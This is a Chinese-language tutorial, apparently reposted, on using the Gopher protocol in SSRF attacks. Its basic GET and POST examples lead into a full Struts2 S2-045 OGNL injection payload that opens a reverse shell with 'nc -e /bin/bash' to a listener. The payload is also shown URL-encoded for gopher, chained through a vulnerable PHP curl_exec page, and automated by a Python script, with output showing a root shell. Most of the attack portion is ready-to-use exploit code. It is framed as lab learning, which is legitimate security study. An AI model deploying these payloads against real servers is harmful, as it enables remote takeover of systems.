Gopher協議原理和限制介紹——Gopher協議支持發出GET、POST請求(類似協議轉換):可以先截獲get請求包和post請求包,在構成符合gopher協議的請求


 

Gopher 協議是 HTTP 協議出現之前,在 Internet 上常見且常用的一個協議。當然現在 Gopher 協議已經慢慢淡出歷史。
Gopher 協議可以做很多事情,特別是在 SSRF 中可以發揮很多重要的作用。利用此協議可以攻擊內網的 FTP、Telnet、Redis、Memcache,也可以進行 GET、POST 請求。

gopher協議支持發出GET、POST請求:可以先截獲get請求包和post請求包,在構成符合gopher協議的請求。gopher協議是ssrf利用中最強大的協議

限制:gopher協議在各個編程語言中的使用限制

--wite-curlwrappers:運用curl工具打開url流
curl使用curl --version查看版本以及支持的協議,下面可以 看到curl 7.51是支持gopher協議的。。。

Gopher協議格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP數據流 ==》正因為這個本質,所以他可以用來發起GET、POST的http請求。 
  • gopher的默認端口是70
  • 如果發起post請求,回車換行需要使用%0d%0a,如果多個參數,參數之間的&也需要進行URL編碼

Gopher 的以下幾點局限性:

  • 大部分 PHP 並不會開啟 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 協議不能 URLencode
  • file_get_contents 關於 Gopher 的 302 跳轉有 bug,導致利用失敗
  • PHP 的 curl 默認不 follow 302 跳轉
  • curl/libcurl 7.43 上 gopher 協議存在 bug(%00 截斷),經測試 7.49 可用

更多有待補充。

 

Gopher發送請求HTTP GET請求:

1|1Gopher協議

 

  • gopher協議是一種信息查找系統,他將Internet上的文件組織成某種索引,方便用戶從Internet的一處帶到另一處。在WWW出現之前,GopherInternet上最主要的信息檢索工具,Gopher站點也是最主要的站點,使用tcp70端口。但在WWW出現后,Gopher失去了昔日的輝煌。現在它基本過時,人們很少再使用它。
  • 它只支持文本,不支持圖像

1|2協議訪問學習


  • 我們現在最多看到使用這個協議的時候都是在去ssrfredis shell、讀mysql數據的時候,由於之前對這個協議了解不是很熟,所以這次看到這篇文章后打算借此學習一下他的通信方式
  • 首先最基礎的看一下它如何發送get請求

復現環境

win10 + kali 2018 +

  • win10主機使用nc監聽端口,nc -lvp 192.168.109.1:6666
  • 然后用kali使用curl gopher://192.168.109.1:6666/_abcd發送gopher get請求,可以發現_不會被顯示
  • gopher協議格式:gopher://IP:port/_{TCP/IP數據流}    
    gopher
    gopher

發送http get請求

  • 在gopher協議中發送HTTP的數據,需要以下三步
  • 構造HTTP數據包
  • URL編碼、替換回車換行為%0d%0aHTTP包最后加%0d%0a`代表消息結束
  • 發送gopher協議, 協議后的IP一定要接端口
  • curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a
  • get.php中寫入<?php echo "Hello"." ".$_GET['param']."\n"?> ==》本質上就是和HTTP協議沒有區別了!!!
  • 此外自己本地測試時要注意將防火牆關掉
    gopher

發送http post請求

  • POSTGET傳參的區別:它有4個參數為必要參數
  • 需要傳遞Content-Type,Content-Length,host,post的參數
  • post.php中寫入<?php echo "Hello".$_POST['name']."\n";?>
  • 我這里復現的時候不知道什么原因一直無法將post的參數傳入,最終只有這種效果
    gopher

可以看到gopher協議和http協議、甚至tcp協議沒有本質區別了。

為了理解SSRF gopher中的攻擊,我准備了一個PHP的代碼,如下:

<?php echo "Hello ".$_GET["name"]."\n" ?>

一個GET型的HTTP包,如下:

GET /ssrf/base/get.php?name=Margin HTTP/1.1 Host: 192.168.0.109

URL編碼后為:

curl gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A

在轉換為URL編碼時候有這么幾個坑

1、問號(?)需要轉碼為URL編碼,也就是%3f
2、回車換行要變為%0d%0a,但如果直接用工具轉,可能只會有%0a
3、在HTTP包的最后要加%0d%0a,代表消息結束(具體可研究HTTP包結束)

Gopher發送請求HTTP POST請求:

發送POST請求前,先看下POST數據包的格式

POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109

name=Margin

那我們將上面的POST數據包進行URL編碼並改為gopher協議

curl gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.1090d%0A%0d%0Aname=Margin%0d%0A

post.php的代碼為

<?php
    echo "Hello ".$_POST["name"]."\n"
?>

使用curl發起gopher的POST請求后,結果為:

根據上圖發現返回的包爆了501的錯誤,我的思路是這樣的:查看Apache的正常日志和錯誤日志、查找POST請求中所需的字段。下面分別是正常日志和錯誤日志的截圖:

192.168.0.119 - - [07/Mar/2020:15:19:49 +0800] "POST /ssrf/base/post.php HTTP/1.1" 200 7 192.168.0.119 - - [07/Mar/2020:15:19:49 +0800] "name=Margin" 501 213 [Sat Mar 07 15:38:50 2020] [error] [client 192.168.0.119] Invalid method in request name=Margin

這里有個疑問:為什么發起了2次請求?為什么會把參數name=Margin當作一個請求?這個地方我調試了很久,發現問題出現在POST請求頭中,我之前發POST請求都是直接用腳本,但從來沒考慮過哪些參數是POST請求必須的,經過排查,發現有4個參數為必要參數(四個參數的含義不再贅述):

POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=Margin

現在我們將它進行URL編碼:

curl gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.109%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Margin%0d%0A

再次發送請求的結果為:


發現請求正常,OK,那我們現在就介紹完了gopher協議的GET和POST請求。

二、如何使用gopher協議反彈shell?

Struts2框架是一個用於開發Java EE網絡應用程序的開放源代碼網頁應用程序架構。它利用並延伸了Java Servlet API,鼓勵開發者采用MVC架構。Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更加整潔的MVC設計模式實現的Web應用程序框架 (摘自百度百科)
今天我們用到的漏洞是Struts2-045漏洞,相信很多大佬不陌生,以下為S2-045漏洞反彈shell的利用代碼,我們在本地機器上執行:nc -lp 6666

GET /S2-045/ HTTP/1.1
Host: 192.168.0.119
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

我們將其變為gopher所能使用的請求

curl gopher://192.168.0.119:8080/_GET%20/S2-045/%20HTTP/1.1%0d%0aHost:192.168.0.119%0d%0aContent-Type:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%30%2e%31%31%39%20%36%36%36%36%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%0d%0a

一定要注意最后加上%0d%0a,以及很多URL編碼工具將會回車換行轉碼為%0a,一定要自己替換為%0a%0d
發送請求后可以反彈shell

margine:~ margin$ nc -l 6666
id
uid=0(root) gid=0(root) groups=0(root)

三、在SSRF中如何使用gopher協議反彈shell?

  1. 我們先准備了一個帶有ssrf漏洞的頁面,代碼如下:
<?php $url = $_GET['url']; $curlobj = curl_init($url); echo curl_exec($curlobj); ?>

這里需要注意的是,你的PHP版本必須大於等於5.3,並且在PHP.ini文件中開啟了extension=php_curl.dll
2. 我在機器上開啟了一個監聽nc -lp 6666
然后在瀏覽器中訪問:

http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.119:6666/_abc

可以看到nc接收到了消息,沒有問題。

C:\Documents and Settings\Administrator\桌面>nc -lp 6666
abc

現在我們想,如何使用SSRF漏洞配合gopher協議來獲取shell呢?我們的環境如下(為了節省資源,攻擊機和有漏洞的主機是一台機器,請見諒。):


上圖就不具體說了,是一個典型的ssrf利用的解釋圖。
在使用ssrf去獲取struts2的shell時,遇到了兩次困難:

  • PHP的curl_exec函數沒有發起gopher的請求(這個問題上面已經說過)
  • gopher一直請求不到目標頁面

根據我的試錯經歷,我梳理了下如何一步步的完成gopher請求獲取shell。
首先我們先做一些簡單的事情,順序如下:

  1. 使用ssrf漏洞發起gopher請求,訪問前面用到的get.php
  2. 使用ssrf漏洞發起gopher請求,獲取struts2主機的shell

第一步:
准備好訪問get.php的數據包(照搬的本文開始的包)

gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A

那我們現在是否可以這樣來組成我們的URL?

http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A

我們來測試下,結果如下:


發現並沒有出現get頁面的hello Margin,說明請求失敗,這個地方卡了一會,發現是因為在PHP在接收到參數后會做一次URL的解碼,正如我們上圖所看到的,%20等字符已經被轉碼為空格。所以,curl_exec在發起gopher時用的就是沒有進行URL編碼的值,就導致了現在的情況,所以我們要進行二次URL編碼。編碼結果如下:

http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher%3A%2F%2F192.168.0.109%3A80%2F_GET%2520%2Fssrf%2Fbase%2Fget.php%253fname%3DMargin%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.0.109%250d%250A

此時發起請求,得到如下結果:


發現已經正常,此時便說明我們的環境沒有問題,SSRF漏洞利用正常,開始接下來的步驟。

第二步:
准備好struts2-045漏洞的利用代碼,並進行二次編碼,需要注意的是Content-Type中放了主要的漏洞利用代碼,並且特殊字符多,將其單獨進行編碼,步驟如下:

  1. 將gopher協議一直到Content-Type進行二次編碼
  2. 將Content-Type的值所有字符進行URL二次編碼
    最終得到如下結果(太長,不列中間內容,省略部分為Content-type內容):
gopher%3A%2F%2F192.168.0.119%3A8080%2F_GET%2520%2FS2-045%2F%2520HTTP%2F1.1%250d%250aHost%3A192.168.0.119%250d%250aContent-Type%3A ......... %0d%0a

最終可以獲取shell,結果如下圖:

margine:~ margin$ nc -l 6666
id
uid=0(root) gid=0(root) groups=0(root)
再試錯的過程中發現:URL中的/不能進行兩次編碼,端口號不可以兩次編碼,協議名稱不可兩次轉碼

最后附上編碼腳本(python2.7):

#!/usr/bin/python # -*- coding: UTF-8 -*- import urllib2,urllib url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" header = """gopher://192.168.0.119:8080/_GET /S2-045/ HTTP/1.1 Host:192.168.0.119 Content-Type:""" cmd = "nc -e /bin/bash 192.168.0.109 6666" content_type = """自己填寫(不要有換行)""" header_encoder = "" content_type_encoder = "" content_type_encoder_2 = "" url_char = [" "] nr = "\r\n" # 編碼請求頭 for single_char in header: if single_char in url_char: header_encoder += urllib.quote(urllib.quote(single_char,'utf-8'),'utf-8') else: header_encoder += single_char header_encoder = header_encoder.replace("\n",urllib.quote(urllib.quote(nr,'utf-8'),'utf-8')) # 編碼content-type,第一次編碼 for single_char in content_type: # 先轉為ASCII,在轉十六進制即可變為URL編碼  content_type_encoder += str(hex(ord(single_char))) content_type_encoder = content_type_encoder.replace("0x","%") + urllib.quote(nr,'utf-8') # 編碼content-type,第二次編碼 for single_char in content_type_encoder: # 先轉為ASCII,在轉十六進制即可變為URL編碼  content_type_encoder_2 += str(hex(ord(single_char))) content_type_encoder_2 = content_type_encoder_2.replace("0x","%") exp = url + header_encoder + content_type_encoder_2 print exp request = urllib2.Request(exp) response = urllib2.urlopen(request).read() print response

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM